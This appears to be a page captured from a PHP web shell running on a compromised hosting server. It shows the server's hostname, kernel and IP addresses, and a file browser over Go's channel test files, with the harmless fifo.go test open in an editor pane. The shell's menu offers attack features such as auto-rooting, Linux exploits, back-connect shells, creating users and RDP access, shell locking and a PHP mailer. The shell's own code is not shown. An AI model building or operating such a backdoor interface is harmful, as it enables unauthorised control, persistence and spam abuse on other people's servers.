Linux 120.141.167.72.host.secureserver.net 4.18.0-553.150.1.el8_10.x86_64 #1 SMP Fri Jul 31 15:23:31 EDT 2026 x86_64
Apache
: 72.167.141.120 | : 216.73.217.14
808 Domain
7.4.33
bestseocompany
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
test /
chan /
[ HOME SHELL ]
Name
Size
Permission
Action
doubleselect.go
1.96
KB
-rw-r--r--
fifo.go
896
B
-rw-r--r--
goroutines.go
743
B
-rw-r--r--
nonblock.go
3.93
KB
-rw-r--r--
perm.go
1.39
KB
-rw-r--r--
powser1.go
12.66
KB
-rw-r--r--
powser2.go
13.29
KB
-rw-r--r--
select.go
913
B
-rw-r--r--
select2.go
1.04
KB
-rw-r--r--
select3.go
4.07
KB
-rw-r--r--
select4.go
513
B
-rw-r--r--
select5.go
9.97
KB
-rw-r--r--
select6.go
783
B
-rw-r--r--
select7.go
932
B
-rw-r--r--
select8.go
826
B
-rw-r--r--
sendstmt.go
672
B
-rw-r--r--
sieve1.go
1.49
KB
-rw-r--r--
sieve2.go
3.88
KB
-rw-r--r--
zerosize.go
349
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fifo.go
// run // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Test that unbuffered channels act as pure fifos. package main import "os" const N = 10 func AsynchFifo() { ch := make(chan int, N) for i := 0; i < N; i++ { ch <- i } for i := 0; i < N; i++ { if <-ch != i { print("bad receive\n") os.Exit(1) } } } func Chain(ch <-chan int, val int, in <-chan int, out chan<- int) { <-in if <-ch != val { panic(val) } out <- 1 } // thread together a daisy chain to read the elements in sequence func SynchFifo() { ch := make(chan int) in := make(chan int) start := in for i := 0; i < N; i++ { out := make(chan int) go Chain(ch, i, in, out) in = out } start <- 0 for i := 0; i < N; i++ { ch <- i } <-in } func main() { AsynchFifo() SynchFifo() }
Close